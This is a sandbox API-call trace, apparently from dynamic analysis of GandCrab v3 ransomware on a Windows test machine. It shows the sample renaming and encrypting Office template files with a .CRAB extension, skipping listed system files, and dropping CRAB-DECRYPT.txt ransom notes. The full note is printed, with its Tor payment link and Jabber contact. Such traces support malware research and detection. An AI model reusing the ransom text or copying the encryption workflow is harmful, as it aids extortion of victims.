	[0118.680] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328998[[fn=rings]].glox")) returned 0x20
	[0118.680] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox", dwFileAttributes=0x20) returned 1
	[0118.681] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328998[[fn=rings]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328998[[fn=rings]].glox.crab")) returned 1
	[0118.682] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.682] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB"
	[0118.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB.CRAB"
	[0118.682] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0118.683] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.683] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.683] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.683] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.683] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.684] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.684] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.685] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.685] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.685] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.685] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.685] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.685] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.685] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.686] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.686] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedca8) returned 1
	[0118.686] CryptGetKeyParam (in: hKey=0xdedca8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.686] CryptEncrypt (in: hKey=0xdedca8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.687] GetLastError () returned 0x0
	[0118.687] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.687] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0118.687] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedb28) returned 1
	[0118.687] CryptGetKeyParam (in: hKey=0xdedb28, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.687] CryptEncrypt (in: hKey=0xdedb28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.688] GetLastError () returned 0x0
	[0118.688] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0118.688] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328998[[fn=rings]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.688] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.689] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0118.689] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x141f, lpOverlapped=0x0) returned 1
	[0118.702] VirtualAlloc (lpAddress=0x0, dwSize=0x1420, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.703] VirtualAlloc (lpAddress=0x0, dwSize=0x1420, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.703] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.703] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffebe1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.704] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1420, lpOverlapped=0x0) returned 1
	[0118.704] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.704] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.710] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.710] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.710] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.711] CloseHandle (hObject=0x3fc) returned 1
	[0118.714] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.714] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.715] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.715] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.715] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.715] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.716] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0
	[0118.716] FindClose (in: hFindFile=0xda3f20 | out: hFindFile=0xda3f20) returned 1
	[0118.716] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0118.716] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0118.716] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0118.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\CRAB-DECRYPT.txt"
	[0118.716] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.716] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 115
	[0118.716] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 115
	[0118.716] lstrlenW (lpString=".txt") returned 4
	[0118.717] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.717] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0118.717] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 115
	[0118.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\CRAB-DECRYPT.txt") returned 115
	[0118.717] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0118.717] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0118.717] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0118.717] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0118.717] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0118.717] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0118.717] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0118.718] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0118.718] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0118.718] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.718] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0118.718] FindClose (in: hFindFile=0xda3e20 | out: hFindFile=0xda3e20) returned 1
	[0118.718] FindNextFileW (in: hFindFile=0xda3f60, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0118.718] FindClose (in: hFindFile=0xda3f60 | out: hFindFile=0xda3f60) returned 1
	[0118.718] FindNextFileW (in: hFindFile=0xda3fe0, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0118.718] lstrcmpW (lpString1="User", lpString2=".") returned 1
	[0118.719] lstrcmpW (lpString1="User", lpString2="..") returned 1
	[0118.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User"
	[0118.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\"
	[0118.719] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0118.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0118.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0118.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0118.719] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.719] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0118.720] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0118.720] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0118.720] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0118.720] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0118.720] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0118.720] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.720] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\\\CRAB-DECRYPT.txt") returned 95
	[0118.720] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0118.721] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0118.721] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0118.722] CloseHandle (hObject=0x3e0) returned 1
	[0118.722] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned 78
	[0118.723] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*"
	[0118.723] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0xdedbe8
	[0118.723] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0118.723] FindNextFileW (in: hFindFile=0xdedbe8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0118.723] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0118.723] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0118.723] FindNextFileW (in: hFindFile=0xdedbe8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0118.723] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0118.723] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0118.723] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\CRAB-DECRYPT.txt"
	[0118.723] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.724] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\CRAB-DECRYPT.txt") returned 94
	[0118.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\CRAB-DECRYPT.txt") returned 94
	[0118.724] lstrlenW (lpString=".txt") returned 4
	[0118.724] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.724] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0118.724] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\CRAB-DECRYPT.txt") returned 94
	[0118.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\CRAB-DECRYPT.txt") returned 94
	[0118.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0118.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0118.724] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0118.725] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0118.725] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0118.725] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0118.725] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0118.725] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0118.725] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0118.725] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.725] FindNextFileW (in: hFindFile=0xdedbe8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0118.725] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1
	[0118.725] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1
	[0118.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes"
	[0118.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\"
	[0118.725] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0118.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0118.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0118.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0118.726] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0118.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0118.726] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0118.726] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0118.726] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0118.726] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0118.726] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.727] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\\\CRAB-DECRYPT.txt") returned 111
